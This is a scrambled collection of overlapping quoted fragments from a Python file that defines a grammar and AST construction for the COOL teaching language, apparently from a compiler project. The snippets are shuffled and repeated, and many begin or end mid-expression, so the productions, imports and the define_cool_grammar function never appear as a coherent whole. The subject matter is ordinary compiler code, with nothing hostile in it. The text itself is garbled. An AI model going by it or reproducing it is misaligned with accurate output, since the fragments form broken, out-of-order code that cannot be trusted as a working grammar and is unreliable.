lambda h, s: CaseNode(s[2],", "+ ocur + expr + ccur, lambda h, s: FuncDeclarationNode(s[1],", "lambda h, s: VarDeclarationNode(s[1], s[3], s[5]), ) identifier_init %= idx", "colon + idx, lambda h, s: VarDeclarationNode(s[1], s[3]) case_block %=", "colon + idx + rarrow + expr + semi, lambda", "lambda h, s: MinusNode(s[1], s[3]) arith %= term, lambda h,", "term + star + factor, lambda h, s: StarNode(s[1], s[3])", "h, s: ClassDeclarationNode(s[2], s[6], s[4]), ) feature_list %= def_attr +", "let, inx = G.Terminals(\"let in\") ifx, then, elsex, fi =", "less, equal, lesseq, neg = G.Terminals( \"= + - *", "feature_list, lambda h, s: [s[1]] + s[3] feature_list %= def_func", "element, atom = G.NonTerminals( \"<expr> <comp> <arith> <term> <factor> <element>", "obj=s[1])) element %= ( element + at + idx +", "cpar, ocur, ccur, at, larrow, rarrow = G.Terminals( \"; :", "param_list, lambda h, s: [s[1]] + s[3] param_list %= param,", "semi, lambda h, s: CaseItemNode(s[1], s[3], s[5]), ) comp %=", "s: ConstantNumNode(s[1]) atom %= idx, lambda h, s: VariableNode(s[1]) atom", "classx + idx + ocur + feature_list + ccur +", "lambda h, s: BooleanNode(s[1]) atom %= string, lambda h, s:", "+ - * / < = <= ~\" ) idx,", "false\") # productions program %= class_list, lambda h, s: ProgramNode(s[1])", "elsex, fi = G.Terminals(\"if then else fi\") whilex, loop, pool", "+ term, lambda h, s: PlusNode(s[1], s[3]) arith %= arith", "\"= + - * / < = <= ~\" )", "+ colon + idx, lambda h, s: (s[1], s[3]) expr", "lambda h, s: [s[1]] + s[3] param_list %= param, lambda", "block + ccur, lambda h, s: BlockNode(s[2]) element %= (element", "s: ClassDeclarationNode(s[2], s[6], s[4]), ) feature_list %= def_attr + semi", "case_item %= ( idx + colon + idx + rarrow", "+ cpar + colon + idx + ocur + expr", "param, lambda h, s: [s[1]] param_list %= G.Epsilon, lambda h,", "+ opar + arg_list + cpar, lambda h, s: (s[1],", "h, s: LessNode(s[1], s[3]) comp %= comp + equal +", "h, s: EqualNode(s[1], s[3]) comp %= comp + lesseq +", "div + factor, lambda h, s: DivNode(s[1], s[3]) term %=", "h, s: s[1] element %= opar + expr + cpar,", "idx + larrow + expr, lambda h, s: VarDeclarationNode(s[1], s[3],", "h, s: MinusNode(s[1], s[3]) arith %= term, lambda h, s:", "VarDeclarationNode(s[1], s[3]) case_block %= case_item + case_block, lambda h, s:", "BlockNode(s[2]) element %= (element + dot + func_call, lambda h,", "s[3]) arith %= arith + minus + term, lambda h,", "s: AssignNode(s[1], s[3]) expr %= let + identifiers_list + inx", "lambda h, s: [s[1]] + s[3], ) identifiers_list %= identifier_init,", "case_item, lambda h, s: [s[1]] case_item %= ( idx +", "( idx + colon + idx + rarrow + expr", "idx + dot + func_call, lambda h, s: CallNode(*s[5], obj=s[1],", "%= G.Epsilon, lambda h, s: [] def_attr %= ( idx", "+ opar + param_list + cpar + colon + idx", "s: BooleanNode(s[1]) atom %= string, lambda h, s: StringNode(s[1]) block", "<gh_stars>0 from src.cmp.pycompiler import Grammar from src.ast_nodes import ( ProgramNode,", "h, s: IsvoidNode(s[2]) factor %= neg + element, lambda h,", "%= idx, lambda h, s: VariableNode(s[1]) atom %= ( true,", "idx, lambda h, s: InstantiateNode(s[2]) factor %= element, lambda h,", "h, s: ClassDeclarationNode(s[2], s[4]), ) def_class %= ( classx +", "IfNode, WhileNode, LetNode, CaseNode, IsvoidNode, AssignNode, VarDeclarationNode, CaseItemNode, NotNode, LessNode,", "param = G.NonTerminals(\"<param-list> <param>\") expr, comp, arith, term, factor, element,", "+ idx + larrow + expr, lambda h, s: AttrDeclarationNode(s[1],", "s: LessEqualNode(s[1], s[3]) comp %= arith, lambda h, s: s[1]", "s: LessNode(s[1], s[3]) comp %= comp + equal + arith,", "[s[1]] + s[3] feature_list %= G.Epsilon, lambda h, s: []", "%= arith + minus + term, lambda h, s: MinusNode(s[1],", "term + div + factor, lambda h, s: DivNode(s[1], s[3])", "G.Terminals( \"; : , . ( ) { } @", "def_attr %= ( idx + colon + idx + larrow", "AssignNode, VarDeclarationNode, CaseItemNode, NotNode, LessNode, LessEqualNode, EqualNode, PlusNode, MinusNode, StarNode,", "s: s[1] factor %= isvoid + element, lambda h, s:", "element %= atom, lambda h, s: s[1] atom %= num,", "= G.NonTerminals(\"<block> <case-block> <case-item>\") func_call, arg_list = G.NonTerminals(\"<func-call> <arg-list>\") #", "= G.Terminals(\"while loop pool\") case, of, esac = G.Terminals(\"case of", "at + idx + dot + func_call, lambda h, s:", "lambda h, s: LessNode(s[1], s[3]) comp %= comp + equal", "h, s: [] param %= idx + colon + idx,", "h, s: s[2] element %= ocur + block + ccur,", "param_list + cpar + colon + idx + ocur +", "rarrow + expr + semi, lambda h, s: CaseItemNode(s[1], s[3],", "+ ccur, lambda h, s: BlockNode(s[2]) element %= (element +", "+ func_call, lambda h, s: CallNode(*s[3], obj=s[1])) element %= (", "%= case_item, lambda h, s: [s[1]] case_item %= ( idx", "h, s: InstantiateNode(s[2]) factor %= element, lambda h, s: s[1]", "+ expr, lambda h, s: AssignNode(s[1], s[3]) expr %= let", "param_list %= param + comma + param_list, lambda h, s:", "s: [s[1]] identifier_init %= ( idx + colon + idx", "from src.ast_nodes import ( ProgramNode, ClassDeclarationNode, FuncDeclarationNode, AttrDeclarationNode, IfNode, WhileNode,", "expr %= let + identifiers_list + inx + expr, lambda", "+ semi + block, lambda h, s: [s[1]] + s[3]", ") atom %= false, lambda h, s: BooleanNode(s[1]) atom %=", "expr + semi, lambda h, s: [s[1]] block %= expr", "+ s[3] func_call %= idx + opar + arg_list +", "+ identifiers_list, lambda h, s: [s[1]] + s[3], ) identifiers_list", "s[3] feature_list %= G.Epsilon, lambda h, s: [] def_attr %=", "+ minus + term, lambda h, s: MinusNode(s[1], s[3]) arith", "h, s: [s[1]] param_list %= G.Epsilon, lambda h, s: []", "comp %= comp + lesseq + arith, lambda h, s:", "semi + feature_list, lambda h, s: [s[1]] + s[3] feature_list", "+ ccur + semi, lambda h, s: ClassDeclarationNode(s[2], s[4]), )", "<arg-list>\") # terminals classx, inherits, notx, isvoid = G.Terminals(\"class inherits", "s[4]) expr %= notx + expr, lambda h, s: NotNode(s[2])", "comp %= comp + equal + arith, lambda h, s:", "+ larrow + expr, lambda h, s: AttrDeclarationNode(s[1], s[3], s[5]),", "+ larrow + expr, lambda h, s: VarDeclarationNode(s[1], s[3], s[5]),", "plus + term, lambda h, s: PlusNode(s[1], s[3]) arith %=", "s: BooleanNode(s[1]), ) atom %= false, lambda h, s: BooleanNode(s[1])", "identifier_init %= ( idx + colon + idx + larrow", "\"<feature-list> <def-attr> <def-func>\" ) param_list, param = G.NonTerminals(\"<param-list> <param>\") expr,", "h, s: [s[1]] arg_list %= G.Epsilon, lambda h, s: []", "ConstantNumNode(s[1]) atom %= idx, lambda h, s: VariableNode(s[1]) atom %=", "h, s: [s[1]] + s[2] case_block %= case_item, lambda h,", "s: s[1] arith %= arith + plus + term, lambda", "s: [s[1]] param_list %= G.Epsilon, lambda h, s: [] param", "< = <= ~\" ) idx, num, new, string, true,", "idx + colon + idx, lambda h, s: AttrDeclarationNode(s[1], s[3])", "+ colon + idx, lambda h, s: VarDeclarationNode(s[1], s[3]) case_block", "dot, opar, cpar, ocur, ccur, at, larrow, rarrow = G.Terminals(", "h, s: [s[1]] + s[3] feature_list %= G.Epsilon, lambda h,", "%= param, lambda h, s: [s[1]] param_list %= G.Epsilon, lambda", "h, s: [s[1]] case_item %= ( idx + colon +", "lambda h, s: CallNode(*s[5], obj=s[1], at_type=s[3]), ) element %= func_call,", "lambda h, s: [s[1]] + s[3] feature_list %= G.Epsilon, lambda", "%= ( idx + colon + idx + rarrow +", "lambda h, s: [s[1]] def_class %= ( classx + idx", "AssignNode(s[1], s[3]) expr %= let + identifiers_list + inx +", "BooleanNode(s[1]) atom %= string, lambda h, s: StringNode(s[1]) block %=", "case + expr + of + case_block + esac, lambda", "%= idx + larrow + expr, lambda h, s: AssignNode(s[1],", "star, div, less, equal, lesseq, neg = G.Terminals( \"= +", "arith %= arith + plus + term, lambda h, s:", "class_list %= def_class + class_list, lambda h, s: [s[1]] +", "h, s: VarDeclarationNode(s[1], s[3]) case_block %= case_item + case_block, lambda", "%= expr, lambda h, s: [s[1]] arg_list %= G.Epsilon, lambda", "AttrDeclarationNode(s[1], s[3]) def_func %= ( idx + opar + param_list", "loop pool\") case, of, esac = G.Terminals(\"case of esac\") semi,", "true, false = G.Terminals(\"id int new string true false\") #", "not isvoid\") let, inx = G.Terminals(\"let in\") ifx, then, elsex,", "s[4]) expr %= case + expr + of + case_block", "inx = G.Terminals(\"let in\") ifx, then, elsex, fi = G.Terminals(\"if", "( ) { } @ <- =>\" ) equal, plus,", "larrow + expr, lambda h, s: AssignNode(s[1], s[3]) expr %=", "+ expr + pool, lambda h, s: WhileNode(s[2], s[4]) expr", "block, case_block, case_item = G.NonTerminals(\"<block> <case-block> <case-item>\") func_call, arg_list =", "lambda h, s: IsvoidNode(s[2]) factor %= neg + element, lambda", "program = G.NonTerminal(\"<program>\", startSymbol=True) class_list, def_class = G.NonTerminals(\"<class-list> <def-class>\") feature_list,", "element %= (element + dot + func_call, lambda h, s:", "element %= ( element + at + idx + dot", "[s[1]] + s[2] class_list %= def_class, lambda h, s: [s[1]]", ") idx, num, new, string, true, false = G.Terminals(\"id int", "WhileNode, LetNode, CaseNode, IsvoidNode, AssignNode, VarDeclarationNode, CaseItemNode, NotNode, LessNode, LessEqualNode,", "define_cool_grammar(print_grammar=False): # grammar G = Grammar() # non-terminals program =", "case_item + case_block, lambda h, s: [s[1]] + s[2] case_block", "idx + rarrow + expr + semi, lambda h, s:", "s: NegNode(s[2]) factor %= new + idx, lambda h, s:", "expr, lambda h, s: NotNode(s[2]) expr %= comp, lambda h,", "terminals classx, inherits, notx, isvoid = G.Terminals(\"class inherits not isvoid\")", "h, s: LetNode(s[2], s[4]) expr %= ( ifx + expr", "<case-block> <case-item>\") func_call, arg_list = G.NonTerminals(\"<func-call> <arg-list>\") # terminals classx,", "+ arith, lambda h, s: EqualNode(s[1], s[3]) comp %= comp", "VarDeclarationNode, CaseItemNode, NotNode, LessNode, LessEqualNode, EqualNode, PlusNode, MinusNode, StarNode, DivNode,", "+ expr, lambda h, s: VarDeclarationNode(s[1], s[3], s[5]), ) identifier_init", "%= opar + expr + cpar, lambda h, s: s[2]", "arg_list, lambda h, s: [s[1]] + s[3] arg_list %= expr,", "expr + comma + arg_list, lambda h, s: [s[1]] +", "s: [] if print_grammar: print(G) return (G, idx, string, num)", "G.NonTerminals( \"<expr> <comp> <arith> <term> <factor> <element> <atom>\" ) identifiers_list,", "(element + dot + func_call, lambda h, s: CallNode(*s[3], obj=s[1]))", "G.Terminals(\"let in\") ifx, then, elsex, fi = G.Terminals(\"if then else", "factor, lambda h, s: DivNode(s[1], s[3]) term %= factor, lambda", "%= idx + colon + idx, lambda h, s: (s[1],", "s[3]) comp %= arith, lambda h, s: s[1] arith %=", "opar, cpar, ocur, ccur, at, larrow, rarrow = G.Terminals( \";", "lambda h, s: [] def_attr %= ( idx + colon", "identifier_init + comma + identifiers_list, lambda h, s: [s[1]] +", "%= def_func + semi + feature_list, lambda h, s: [s[1]]", "+ factor, lambda h, s: StarNode(s[1], s[3]) term %= term", "lambda h, s: BlockNode(s[2]) element %= (element + dot +", "<comp> <arith> <term> <factor> <element> <atom>\" ) identifiers_list, identifier_init =", "idx + opar + arg_list + cpar, lambda h, s:", "G.Epsilon, lambda h, s: [] param %= idx + colon", "s[3]) expr %= let + identifiers_list + inx + expr,", "s[3]) def_func %= ( idx + opar + param_list +", "+ element, lambda h, s: NegNode(s[2]) factor %= new +", "%= atom, lambda h, s: s[1] atom %= num, lambda", "ConstantNumNode, VariableNode, BooleanNode, StringNode, ) def define_cool_grammar(print_grammar=False): # grammar G", ") def define_cool_grammar(print_grammar=False): # grammar G = Grammar() # non-terminals", "G.NonTerminal(\"<program>\", startSymbol=True) class_list, def_class = G.NonTerminals(\"<class-list> <def-class>\") feature_list, def_attr, def_func", "( classx + idx + ocur + feature_list + ccur", "+ idx + larrow + expr, lambda h, s: VarDeclarationNode(s[1],", "+ star + factor, lambda h, s: StarNode(s[1], s[3]) term", "less + arith, lambda h, s: LessNode(s[1], s[3]) comp %=", "pool, lambda h, s: WhileNode(s[2], s[4]) expr %= case +", "esac\") semi, colon, comma, dot, opar, cpar, ocur, ccur, at,", "h, s: [s[1]] + s[3] func_call %= idx + opar", "semi, lambda h, s: ClassDeclarationNode(s[2], s[4]), ) def_class %= (", "AttrDeclarationNode(s[1], s[3], s[5]), ) def_attr %= idx + colon +", "= G.NonTerminal(\"<program>\", startSymbol=True) class_list, def_class = G.NonTerminals(\"<class-list> <def-class>\") feature_list, def_attr,", "%= comp, lambda h, s: s[1] identifiers_list %= ( identifier_init", "AttrDeclarationNode, IfNode, WhileNode, LetNode, CaseNode, IsvoidNode, AssignNode, VarDeclarationNode, CaseItemNode, NotNode,", "s: [s[1]] + s[2] case_block %= case_item, lambda h, s:", "+ idx + dot + func_call, lambda h, s: CallNode(*s[5],", "atom, lambda h, s: s[1] atom %= num, lambda h,", "IsvoidNode(s[2]) factor %= neg + element, lambda h, s: NegNode(s[2])", "def_class %= ( classx + idx + ocur + feature_list", "s: VarDeclarationNode(s[1], s[3], s[5]), ) identifier_init %= idx + colon", "%= num, lambda h, s: ConstantNumNode(s[1]) atom %= idx, lambda", "minus, star, div, less, equal, lesseq, neg = G.Terminals( \"=", "term, lambda h, s: PlusNode(s[1], s[3]) arith %= arith +", "expr + fi, lambda h, s: IfNode(s[2], s[4], s[6]), )", "= G.NonTerminals(\"<class-list> <def-class>\") feature_list, def_attr, def_func = G.NonTerminals( \"<feature-list> <def-attr>", "LetNode, CaseNode, IsvoidNode, AssignNode, VarDeclarationNode, CaseItemNode, NotNode, LessNode, LessEqualNode, EqualNode,", "%= expr + comma + arg_list, lambda h, s: [s[1]]", "def_func + semi + feature_list, lambda h, s: [s[1]] +", ") def_class %= ( classx + idx + inherits +", "s[1] atom %= num, lambda h, s: ConstantNumNode(s[1]) atom %=", "lambda h, s: CaseItemNode(s[1], s[3], s[5]), ) comp %= comp", "+ param_list + cpar + colon + idx + ocur", "func_call, lambda h, s: CallNode(*s[3], obj=s[1])) element %= ( element", ", . ( ) { } @ <- =>\" )", "h, s: (s[1], s[3]) expr %= idx + larrow +", "= G.Terminals( \"= + - * / < = <=", ") expr %= whilex + expr + loop + expr", "+ idx + rarrow + expr + semi, lambda h,", "lambda h, s: [] param %= idx + colon +", "%= comp + equal + arith, lambda h, s: EqualNode(s[1],", "arith + minus + term, lambda h, s: MinusNode(s[1], s[3])", "comma, dot, opar, cpar, ocur, ccur, at, larrow, rarrow =", "NotNode(s[2]) expr %= comp, lambda h, s: s[1] identifiers_list %=", "h, s: ConstantNumNode(s[1]) atom %= idx, lambda h, s: VariableNode(s[1])", "[s[1]] + s[3] param_list %= param, lambda h, s: [s[1]]", "G.NonTerminals(\"<ident-list> <ident-init>\") block, case_block, case_item = G.NonTerminals(\"<block> <case-block> <case-item>\") func_call,", "lambda h, s: EqualNode(s[1], s[3]) comp %= comp + lesseq", "larrow + expr, lambda h, s: AttrDeclarationNode(s[1], s[3], s[5]), )", "s: [s[1]] + s[3] feature_list %= def_func + semi +", "%= def_attr + semi + feature_list, lambda h, s: [s[1]]", "h, s: StringNode(s[1]) block %= expr + semi, lambda h,", "(s[1], s[3]) arg_list %= expr + comma + arg_list, lambda", "MinusNode, StarNode, DivNode, NegNode, InstantiateNode, BlockNode, CallNode, ConstantNumNode, VariableNode, BooleanNode,", "G.Terminals(\"class inherits not isvoid\") let, inx = G.Terminals(\"let in\") ifx,", "then + expr + elsex + expr + fi, lambda", "= <= ~\" ) idx, num, new, string, true, false", "# non-terminals program = G.NonTerminal(\"<program>\", startSymbol=True) class_list, def_class = G.NonTerminals(\"<class-list>", "+ semi + feature_list, lambda h, s: [s[1]] + s[3]", "+ inx + expr, lambda h, s: LetNode(s[2], s[4]) expr", ") param_list, param = G.NonTerminals(\"<param-list> <param>\") expr, comp, arith, term,", "+ expr + ccur, lambda h, s: FuncDeclarationNode(s[1], s[3], s[6],", "class_list, lambda h, s: [s[1]] + s[2] class_list %= def_class,", "s[2] case_block %= case_item, lambda h, s: [s[1]] case_item %=", "[s[1]] identifier_init %= ( idx + colon + idx +", "lambda h, s: AssignNode(s[1], s[3]) expr %= let + identifiers_list", "+ larrow + expr, lambda h, s: AssignNode(s[1], s[3]) expr", "string, true, false = G.Terminals(\"id int new string true false\")", "s: CallNode(*s[1]) element %= atom, lambda h, s: s[1] atom", "case_item = G.NonTerminals(\"<block> <case-block> <case-item>\") func_call, arg_list = G.NonTerminals(\"<func-call> <arg-list>\")", "div, less, equal, lesseq, neg = G.Terminals( \"= + -", "InstantiateNode, BlockNode, CallNode, ConstantNumNode, VariableNode, BooleanNode, StringNode, ) def define_cool_grammar(print_grammar=False):", "idx + larrow + expr, lambda h, s: AttrDeclarationNode(s[1], s[3],", "G.Terminals( \"= + - * / < = <= ~\"", "ocur + expr + ccur, lambda h, s: FuncDeclarationNode(s[1], s[3],", "obj=s[1], at_type=s[3]), ) element %= func_call, lambda h, s: CallNode(*s[1])", "h, s: [s[1]] def_class %= ( classx + idx +", "case_block %= case_item, lambda h, s: [s[1]] case_item %= (", "s[6], s[8]), ) param_list %= param + comma + param_list,", "case_block %= case_item + case_block, lambda h, s: [s[1]] +", "[] def_attr %= ( idx + colon + idx +", "%= let + identifiers_list + inx + expr, lambda h,", "+ expr, lambda h, s: NotNode(s[2]) expr %= comp, lambda", "def_attr + semi + feature_list, lambda h, s: [s[1]] +", "+ expr + semi, lambda h, s: CaseItemNode(s[1], s[3], s[5]),", "PlusNode(s[1], s[3]) arith %= arith + minus + term, lambda", "feature_list + ccur + semi, lambda h, s: ClassDeclarationNode(s[2], s[4]),", "%= whilex + expr + loop + expr + pool,", "\"; : , . ( ) { } @ <-", "%= identifier_init, lambda h, s: [s[1]] identifier_init %= ( idx", "lambda h, s: StringNode(s[1]) block %= expr + semi, lambda", "G.Terminals(\"id int new string true false\") # productions program %=", "s: EqualNode(s[1], s[3]) comp %= comp + lesseq + arith,", "s: ClassDeclarationNode(s[2], s[4]), ) def_class %= ( classx + idx", "<case-item>\") func_call, arg_list = G.NonTerminals(\"<func-call> <arg-list>\") # terminals classx, inherits,", "inherits + idx + ocur + feature_list + ccur +", "func_call, arg_list = G.NonTerminals(\"<func-call> <arg-list>\") # terminals classx, inherits, notx,", "+ identifiers_list + inx + expr, lambda h, s: LetNode(s[2],", "s: FuncDeclarationNode(s[1], s[3], s[6], s[8]), ) param_list %= param +", "h, s: IfNode(s[2], s[4], s[6]), ) expr %= whilex +", "h, s: CallNode(*s[5], obj=s[1], at_type=s[3]), ) element %= func_call, lambda", "term %= factor, lambda h, s: s[1] factor %= isvoid", "h, s: s[1] term %= term + star + factor,", "semi + block, lambda h, s: [s[1]] + s[3] func_call", "s: (s[1], s[3]) expr %= idx + larrow + expr,", "lambda h, s: VarDeclarationNode(s[1], s[3]) case_block %= case_item + case_block,", "lambda h, s: StarNode(s[1], s[3]) term %= term + div", "whilex, loop, pool = G.Terminals(\"while loop pool\") case, of, esac", "h, s: ProgramNode(s[1]) class_list %= def_class + class_list, lambda h,", ") identifier_init %= idx + colon + idx, lambda h,", "fi, lambda h, s: IfNode(s[2], s[4], s[6]), ) expr %=", "MinusNode(s[1], s[3]) arith %= term, lambda h, s: s[1] term", "inherits, notx, isvoid = G.Terminals(\"class inherits not isvoid\") let, inx", "+ loop + expr + pool, lambda h, s: WhileNode(s[2],", "colon + idx + ocur + expr + ccur, lambda", "VariableNode, BooleanNode, StringNode, ) def define_cool_grammar(print_grammar=False): # grammar G =", "G.NonTerminals(\"<func-call> <arg-list>\") # terminals classx, inherits, notx, isvoid = G.Terminals(\"class", ") equal, plus, minus, star, div, less, equal, lesseq, neg", "s[5]), ) def_attr %= idx + colon + idx, lambda", "+ plus + term, lambda h, s: PlusNode(s[1], s[3]) arith", "lambda h, s: NegNode(s[2]) factor %= new + idx, lambda", "term, factor, element, atom = G.NonTerminals( \"<expr> <comp> <arith> <term>", ") element %= func_call, lambda h, s: CallNode(*s[1]) element %=", "lambda h, s: BooleanNode(s[1]), ) atom %= false, lambda h,", "= G.Terminals(\"if then else fi\") whilex, loop, pool = G.Terminals(\"while", "+ term, lambda h, s: MinusNode(s[1], s[3]) arith %= term,", "[s[1]] case_item %= ( idx + colon + idx +", "= G.Terminals( \"; : , . ( ) { }", "h, s: CallNode(*s[1]) element %= atom, lambda h, s: s[1]", "s[5]), ) comp %= comp + less + arith, lambda", "%= neg + element, lambda h, s: NegNode(s[2]) factor %=", "factor %= new + idx, lambda h, s: InstantiateNode(s[2]) factor", "def_class, lambda h, s: [s[1]] def_class %= ( classx +", "term %= term + div + factor, lambda h, s:", "arith, term, factor, element, atom = G.NonTerminals( \"<expr> <comp> <arith>", ") identifiers_list, identifier_init = G.NonTerminals(\"<ident-list> <ident-init>\") block, case_block, case_item =", "loop + expr + pool, lambda h, s: WhileNode(s[2], s[4])", "h, s: [s[1]] + s[3], ) identifiers_list %= identifier_init, lambda", "CaseNode(s[2], s[4]) expr %= notx + expr, lambda h, s:", "%= term + div + factor, lambda h, s: DivNode(s[1],", "FuncDeclarationNode, AttrDeclarationNode, IfNode, WhileNode, LetNode, CaseNode, IsvoidNode, AssignNode, VarDeclarationNode, CaseItemNode,", "%= def_class + class_list, lambda h, s: [s[1]] + s[2]", "element %= ocur + block + ccur, lambda h, s:", "s: (s[1], s[3]) arg_list %= expr + comma + arg_list,", "expr + of + case_block + esac, lambda h, s:", "lambda h, s: [s[1]] identifier_init %= ( idx + colon", "s[3] feature_list %= def_func + semi + feature_list, lambda h,", "element, lambda h, s: s[1] element %= opar + expr", "<arith> <term> <factor> <element> <atom>\" ) identifiers_list, identifier_init = G.NonTerminals(\"<ident-list>", "opar + arg_list + cpar, lambda h, s: (s[1], s[3])", "+ colon + idx, lambda h, s: AttrDeclarationNode(s[1], s[3]) def_func", "lambda h, s: s[1] identifiers_list %= ( identifier_init + comma", "%= arith + plus + term, lambda h, s: PlusNode(s[1],", "=>\" ) equal, plus, minus, star, div, less, equal, lesseq,", "false = G.Terminals(\"id int new string true false\") # productions", "h, s: BlockNode(s[2]) element %= (element + dot + func_call,", "+ arith, lambda h, s: LessEqualNode(s[1], s[3]) comp %= arith,", "s[8]), ) param_list %= param + comma + param_list, lambda", "def_func = G.NonTerminals( \"<feature-list> <def-attr> <def-func>\" ) param_list, param =", "= G.NonTerminals(\"<ident-list> <ident-init>\") block, case_block, case_item = G.NonTerminals(\"<block> <case-block> <case-item>\")", "fi = G.Terminals(\"if then else fi\") whilex, loop, pool =", "<def-attr> <def-func>\" ) param_list, param = G.NonTerminals(\"<param-list> <param>\") expr, comp,", "expr, lambda h, s: AssignNode(s[1], s[3]) expr %= let +", "esac = G.Terminals(\"case of esac\") semi, colon, comma, dot, opar,", "h, s: AttrDeclarationNode(s[1], s[3], s[5]), ) def_attr %= idx +", "= G.Terminals(\"case of esac\") semi, colon, comma, dot, opar, cpar,", "s[1] element %= opar + expr + cpar, lambda h,", "param %= idx + colon + idx, lambda h, s:", "feature_list + ccur + semi, lambda h, s: ClassDeclarationNode(s[2], s[6],", "factor %= isvoid + element, lambda h, s: IsvoidNode(s[2]) factor", "expr %= notx + expr, lambda h, s: NotNode(s[2]) expr", "+ cpar, lambda h, s: s[2] element %= ocur +", "h, s: (s[1], s[3]) arg_list %= expr + comma +", "VariableNode(s[1]) atom %= ( true, lambda h, s: BooleanNode(s[1]), )", "+ elsex + expr + fi, lambda h, s: IfNode(s[2],", "s: BlockNode(s[2]) element %= (element + dot + func_call, lambda", "+ lesseq + arith, lambda h, s: LessEqualNode(s[1], s[3]) comp", "program %= class_list, lambda h, s: ProgramNode(s[1]) class_list %= def_class", ": , . ( ) { } @ <- =>\"", "WhileNode(s[2], s[4]) expr %= case + expr + of +", "EqualNode, PlusNode, MinusNode, StarNode, DivNode, NegNode, InstantiateNode, BlockNode, CallNode, ConstantNumNode,", "+ dot + func_call, lambda h, s: CallNode(*s[3], obj=s[1])) element", "of, esac = G.Terminals(\"case of esac\") semi, colon, comma, dot,", "num, new, string, true, false = G.Terminals(\"id int new string", "(s[1], s[3]) expr %= idx + larrow + expr, lambda", "true false\") # productions program %= class_list, lambda h, s:", "atom %= idx, lambda h, s: VariableNode(s[1]) atom %= (", "G.NonTerminals( \"<feature-list> <def-attr> <def-func>\" ) param_list, param = G.NonTerminals(\"<param-list> <param>\")", "lambda h, s: LetNode(s[2], s[4]) expr %= ( ifx +", "%= factor, lambda h, s: s[1] factor %= isvoid +", "comp, lambda h, s: s[1] identifiers_list %= ( identifier_init +", "h, s: CaseItemNode(s[1], s[3], s[5]), ) comp %= comp +", "h, s: VariableNode(s[1]) atom %= ( true, lambda h, s:", "%= idx + colon + idx, lambda h, s: AttrDeclarationNode(s[1],", "lambda h, s: AttrDeclarationNode(s[1], s[3]) def_func %= ( idx +", "+ block + ccur, lambda h, s: BlockNode(s[2]) element %=", "comp %= comp + less + arith, lambda h, s:", "ClassDeclarationNode(s[2], s[6], s[4]), ) feature_list %= def_attr + semi +", "expr, comp, arith, term, factor, element, atom = G.NonTerminals( \"<expr>", "s: s[1] term %= term + star + factor, lambda", "lambda h, s: [s[1]] + s[3] func_call %= idx +", "lambda h, s: [s[1]] + s[2] class_list %= def_class, lambda", "lambda h, s: (s[1], s[3]) expr %= idx + larrow", "param + comma + param_list, lambda h, s: [s[1]] +", "idx + colon + idx + larrow + expr, lambda", "%= G.Epsilon, lambda h, s: [] param %= idx +", "= G.NonTerminals( \"<expr> <comp> <arith> <term> <factor> <element> <atom>\" )", "# productions program %= class_list, lambda h, s: ProgramNode(s[1]) class_list", "s: CaseItemNode(s[1], s[3], s[5]), ) comp %= comp + less", "equal, plus, minus, star, div, less, equal, lesseq, neg =", "dot + func_call, lambda h, s: CallNode(*s[5], obj=s[1], at_type=s[3]), )", "lambda h, s: FuncDeclarationNode(s[1], s[3], s[6], s[8]), ) param_list %=", "true, lambda h, s: BooleanNode(s[1]), ) atom %= false, lambda", "comp + equal + arith, lambda h, s: EqualNode(s[1], s[3])", "param_list %= param, lambda h, s: [s[1]] param_list %= G.Epsilon,", "%= comp + lesseq + arith, lambda h, s: LessEqualNode(s[1],", "at_type=s[3]), ) element %= func_call, lambda h, s: CallNode(*s[1]) element", "atom %= num, lambda h, s: ConstantNumNode(s[1]) atom %= idx,", "CaseItemNode(s[1], s[3], s[5]), ) comp %= comp + less +", "s: IfNode(s[2], s[4], s[6]), ) expr %= whilex + expr", "h, s: BooleanNode(s[1]), ) atom %= false, lambda h, s:", "s: CallNode(*s[5], obj=s[1], at_type=s[3]), ) element %= func_call, lambda h,", "idx, lambda h, s: AttrDeclarationNode(s[1], s[3]) def_func %= ( idx", "block, lambda h, s: [s[1]] + s[3] func_call %= idx", "s[6], s[4]), ) feature_list %= def_attr + semi + feature_list,", "ocur, ccur, at, larrow, rarrow = G.Terminals( \"; : ,", "s: [s[1]] def_class %= ( classx + idx + ocur", "%= expr + semi, lambda h, s: [s[1]] block %=", "lambda h, s: s[1] factor %= isvoid + element, lambda", "expr + cpar, lambda h, s: s[2] element %= ocur", "+ element, lambda h, s: IsvoidNode(s[2]) factor %= neg +", "s[3]) expr %= idx + larrow + expr, lambda h,", "BlockNode, CallNode, ConstantNumNode, VariableNode, BooleanNode, StringNode, ) def define_cool_grammar(print_grammar=False): #", "%= ( true, lambda h, s: BooleanNode(s[1]), ) atom %=", "plus, minus, star, div, less, equal, lesseq, neg = G.Terminals(", "expr + elsex + expr + fi, lambda h, s:", "lambda h, s: InstantiateNode(s[2]) factor %= element, lambda h, s:", "h, s: VarDeclarationNode(s[1], s[3], s[5]), ) identifier_init %= idx +", "feature_list, def_attr, def_func = G.NonTerminals( \"<feature-list> <def-attr> <def-func>\" ) param_list,", "[s[1]] + s[3] feature_list %= def_func + semi + feature_list,", "idx + opar + param_list + cpar + colon +", "%= idx + opar + arg_list + cpar, lambda h,", "%= case_item + case_block, lambda h, s: [s[1]] + s[2]", "arg_list + cpar, lambda h, s: (s[1], s[3]) arg_list %=", "+ idx + ocur + feature_list + ccur + semi,", "+ expr, lambda h, s: AttrDeclarationNode(s[1], s[3], s[5]), ) def_attr", "lambda h, s: DivNode(s[1], s[3]) term %= factor, lambda h,", "+ inherits + idx + ocur + feature_list + ccur", "num, lambda h, s: ConstantNumNode(s[1]) atom %= idx, lambda h,", "h, s: CaseNode(s[2], s[4]) expr %= notx + expr, lambda", "of + case_block + esac, lambda h, s: CaseNode(s[2], s[4])", "+ expr + fi, lambda h, s: IfNode(s[2], s[4], s[6]),", "element + at + idx + dot + func_call, lambda", "- * / < = <= ~\" ) idx, num,", "lambda h, s: [s[1]] block %= expr + semi +", "/ < = <= ~\" ) idx, num, new, string,", "DivNode, NegNode, InstantiateNode, BlockNode, CallNode, ConstantNumNode, VariableNode, BooleanNode, StringNode, )", "s: [s[1]] + s[3] func_call %= idx + opar +", "new string true false\") # productions program %= class_list, lambda", "idx, num, new, string, true, false = G.Terminals(\"id int new", "+ s[3] param_list %= param, lambda h, s: [s[1]] param_list", "arith, lambda h, s: LessNode(s[1], s[3]) comp %= comp +", "%= false, lambda h, s: BooleanNode(s[1]) atom %= string, lambda", "s: s[1] identifiers_list %= ( identifier_init + comma + identifiers_list,", "+ idx, lambda h, s: AttrDeclarationNode(s[1], s[3]) def_func %= (", "factor %= element, lambda h, s: s[1] element %= 